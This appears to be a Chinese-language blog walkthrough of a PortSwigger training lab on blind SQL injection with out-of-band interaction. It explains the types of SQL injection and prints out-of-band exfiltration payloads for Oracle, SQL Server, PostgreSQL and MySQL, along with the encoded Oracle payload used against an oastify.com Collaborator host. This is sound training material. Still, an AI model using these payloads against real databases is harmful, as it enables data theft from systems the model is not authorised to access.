当前位置: 首页 > java >正文

PortSwigger靶场之Blind SQL injection with out-of-band interaction通关秘籍

一、题目分析

该实验室存在一个盲 SQL 注入漏洞。该应用程序使用跟踪 cookie 进行分析,并执行包含所提交 cookie 值的 SQL 查询。该 SQL 查询是异步执行的,不会对应用程序的响应产生影响。不过,我们可以与外部域触发非带内交互。要解决此漏洞,需利用 SQL 注入漏洞,从而引发对 Burp Collaborator 的 DNS 查询操作。同时PortSwigger靶场提醒我们注意为防止 Academy 平台被用于攻击第三方,他们的防火墙会阻止实验室与任意外部系统的交互。要解决此问题,我们必须使用 Burp Collaborator 的默认公共服务器。

接下来我们引入一下sql注入的类型理论知识为我们解决本关打下基础

二、SQL 注入的类型

SQL 注入是一种常见的网络安全漏洞,攻击者通过在应用程序的输入字段中插入恶意的 SQL 代码,从而干扰应用程序对其数据库的查询。这可能导致数据泄露、数据篡改,甚至完全控制数据库服务器。

SQL 注入主要分为以下几种类型:

1. 带内(In-band)SQL 注入

带内 SQL 注入是最常见也是最直接的类型,攻击者可以使用相同的通信渠道发送攻击和接收结果。它又可以细分为:

  • 基于错误的 SQL 注入 (Error-based SQLi): 攻击者故意使数据库返回错误消息,这些错误消息中包含了敏感信息(如数据库结构、列名等)。通过分析这些错误,攻击者可以逐步推断出数据库的布局。

  • 基于联合查询的 SQL 注入 (Union-based SQLi): 攻击者利用 UNION 运算符将一个恶意的 SELECT 查询的结果与原始查询的结果合并。这使得攻击者能够从数据库中检索任意数据,并将其显示在应用程序的正常输出中。

2. 推断(Inferential)SQL 注入 (也称为盲注入)

推断 SQL 注入发生在攻击者无法直接从数据库获取数据的情况下。相反,攻击者根据应用程序响应的行为或时间来推断数据库的信息。这种类型的注入通常需要更长的时间来执行,但仍然非常有效。

  • 基于布尔的盲注入 (Boolean-based Blind SQLi): 攻击者发送一系列 SQL 查询,这些查询会根据结果的真假导致应用程序的响应有所不同(例如,页面显示或不显示)。通过观察这些布尔响应,攻击者可以逐个字符地推断出数据库中的数据。

  • 基于时间的盲注入 (Time-based Blind SQLi): 攻击者发送的 SQL 查询中包含一个时间延迟函数(如 SLEEP()BENCHMARK())。如果查询中的条件为真,数据库将执行延迟,从而导致应用程序响应时间变长。攻击者通过测量响应时间来判断条件是否成立,以此推断出数据。

以上两种SQL注入我们都在之前的靶场学习过了,接下来我们来学习带外sql注入,这关主要是让我们浅浅尝试

3. 带外(Out-of-band)SQL 注入

带外 SQL 注入是一种不常见的类型,它发生在攻击者无法使用与应用程序相同的通信渠道获取结果时。在这种情况下,攻击者利用数据库服务器的某些功能(如 DNS 查询或 HTTP 请求)将数据发送到自己控制的外部服务器。这种攻击通常用于无法通过带内或推断技术提取数据的高级场景。

  • 通过 DNS 请求的带外 SQL 注入: 攻击者利用数据库的某些函数(如 LOAD_FILE()UTL_HTTP)触发一个 DNS 查询到攻击者控制的域名。查询的子域名部分可以编码从数据库中提取的数据。

  • 通过 HTTP 请求的带外 SQL 注入: 攻击者使数据库服务器向攻击者控制的 HTTP 服务器发送请求,请求中包含了从数据库中提取的数据。

本关就是考察通过 DNS 请求的带外 SQL 注入。

三、带外注入语句

在butpsuite提供的cheat-sheet中,给出了各个数据库的外带语句:

下面是针对不同数据库的语句解释:

1. Oracle

SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://' || (SELECT YOUR-QUERY-HERE) || '.BURP-COLLABORATOR-SUBDOMAIN/">%remote;]>'),'/l1') FROM dual
  • 原理:利用 XML 类型解析错误来触发外部 HTTP 请求。

  • 解释

    1. EXTRACTVALUE(xmltype(...),'/l1'):这是一个 XML 解析函数,用于从 XML 数据中提取值。

    2. xmltype(...):这部分构造了一个畸形的 XML 文档,其中包含一个外部实体引用 <!ENTITY % remote SYSTEM "http://...">

    3. (SELECT YOUR-QUERY-HERE):这是你的注入查询,例如 (SELECT password FROM users WHERE username='admin')。它的结果会被拼接到 URL 中。

    4. .BURP-COLLABORATOR-SUBDOMAIN/:这是 Burp Collaborator 生成的唯一子域名。当 Oracle 尝试解析这个外部实体时,它会向该 URL 发送一个 HTTP 请求。

  • 结果:这里利用了 XML 解析器“需要”访问外部资源来完成解析的这一特性,而不是依赖于传统的 SQL 注入。即使解析最终会失败(因为 XML 文档结构不完整),在解析器尝试加载外部实体的那个瞬间,数据就已经被发送出去了。如果注入成功,Oracle 数据库会向一个包含查询结果的 URL 发送请求,攻击者可以在 Burp Collaborator 上接收到这个请求,从而获取数据。

2. Microsoft SQL Server

declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master.xp_dirtree //'+@p+'.BURP-COLLABORATOR-SUBDOMAIN/a'')
  • 原理:利用 xp_dirtree 系统存储过程来触发 UNC 路径访问,从而导致 DNS 请求。

  • 解释

    1. declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);:声明一个变量 @p 并将你的注入查询结果赋值给它。

    2. exec('master.xp_dirtree //'+@p+'.BURP-COLLABORATOR-SUBDOMAIN/a''):执行一个存储过程 xp_dirtree,它通常用于列出文件目录。这里巧妙地利用它来尝试访问一个网络共享路径。

    3. //'+@p+'.BURP-COLLABORATOR-SUBDOMAIN/a'':这是一个 UNC 路径(网络共享路径),它将你的查询结果 @p 嵌入到主机名中。

  • 结果:当 SQL Server 尝试访问这个 UNC 路径时,它会先执行一个 DNS 查询来解析主机名,这个查询包含了你的数据。攻击者可以在 DNS 服务器(如 Burp Collaborator)上捕获这个查询。

3. PostgreSQL

create OR replace function f() returns void as $$
declare c text;
declare p text;
begin
SELECT into p (SELECT YOUR-QUERY-HERE);
execute c := 'copy (SELECT '''') to program ''nslookup '||p||'.BURP-COLLABORATOR-SUBDOMAIN''';
end;
$$ language plpgsql security definer;
SELECT f();
  • 原理:创建一个临时函数,利用 copy 命令来执行外部程序 nslookup,从而触发 DNS 查询。

  • 解释

    1. create OR replace function f() ...:创建一个临时的 PL/pgSQL 函数 f()

    2. SELECT into p (SELECT YOUR-QUERY-HERE);:将你的注入查询结果存储到变量 p 中。

    3. execute c := 'copy (SELECT '''') to program ''nslookup '||p||'.BURP-COLLABORATOR-SUBDOMAIN'''';:这是核心部分。copy ... to program ... 命令通常用于将查询结果导出到外部程序。这里它被滥用,通过 nslookup 命令向一个包含查询结果的域名发送 DNS 请求。

  • 结果:执行 SELECT f() 时,函数会执行 nslookup 命令,向包含查询结果的子域名发起 DNS 请求。

4. MySQL (Windows only)

SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'
  • 原理:利用 INTO OUTFILE 语句将查询结果写入到一个网络共享路径,从而触发 DNS 查询。

  • 解释

    1. SELECT YOUR-QUERY-HERE INTO OUTFILE ...:将你的查询结果写入一个文件。

    2. \\\\BURP-COLLABORATOR-SUBDOMAIN\a:这是一个 UNC 路径。由于 MySQL 在 Windows 上执行此操作,它会尝试访问这个网络路径,并触发一个 DNS 查询来解析域名。

  • 结果:与 SQL Server 类似,MySQL 会向 Burp Collaborator 域名发送 DNS 请求,从而泄露查询结果。这个方法只在 MySQL 服务运行在 Windows 系统上时才有效。


5、开始尝试

我们从oracle开始尝试,只需要将.BURP-COLLABORATOR-SUBDOMAIN换成生成的地址。

'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a///5syvatdg4musou1rj8t1c03qxh38rzfo.oastify.com/">+%25remote%3b]>'),'/l')+FROM+dual--

四、成功通关

学习参考:归去来兮-zangcc  【送书活动第2期】打靶Portswigger系列—— 一口气通关18个SQL注入靶场详细流程(文末送书)

http://www.xdnf.cn/news/18873.html

相关文章:

  • 软考-系统架构设计师 计算机系统基础知识详细讲解
  • 【46页PPT】AI智能中台用ABC+IOT重新定义制造(附下载方式)
  • 相机Camera日志实例分析之十五:相机Camx【照片后置HDR拍照】单帧流程日志详解
  • 2-5 倍性能提升,30% 成本降低,阿里云 SelectDB 存算分离架构助力波司登集团实现降本增效
  • 支持向量机核心知识总结
  • Java大厂面试实战:从Spring Boot到微服务架构的深度剖析
  • 宠物智能,是「养宠自由」还是「焦虑税」?
  • 【分享开题答辩过程】一辆摩托车带来的通关副本攻略----《摩托车网上销售系统》开题答辩!!
  • Stream流中的Map与flatMap的区别
  • AI安全监控与人才需求的时间悖论(对AI安全模型、AI安全人才需求的一些思考)
  • 前沿技术借鉴研讨-2025.8.26(多任务分类/预测)
  • 基于CentOS7:Linux服务器的初始化流程
  • 从零开始学MCP(7) | 实战:用 MCP 构建论文分析智能体
  • Java 大视界 -- Java 大数据机器学习模型在金融市场波动预测与资产配置动态调整中的应用
  • Docker:部署Java后端
  • 【笔记】大模型业务场景流程综述
  • Text to Speech技术详解与实战:GPT-4o Mini TTS API应用指南
  • 大数据毕业设计选题:基于大数据的用户贷款行为数据分析系统Spark SQL核心技术
  • SQL server 触发器的使用
  • defineCustomElement 的局限性及重载需求分析
  • Ubuntu 虚拟机配置 Git 并推送到Gitee
  • 如何利用Claude在商业项目中进行自动化客户反馈分析:一站式解决方案
  • 【R代码分析】甲烷排放绘制代码-参考论文
  • Unity游戏打包——Mac基本环境杂记
  • 实时平台Flink热更新技术——实现不停机升级!
  • 从16个粉丝到680万年收入:AI创业的117天奇迹
  • 负载均衡之带权重的随机负载均衡算法详解与实现
  • 迷你版Shell:源码详解与行为解析
  • S-HUB实现泛微E9与飞书对接
  • kafka消费顺序保障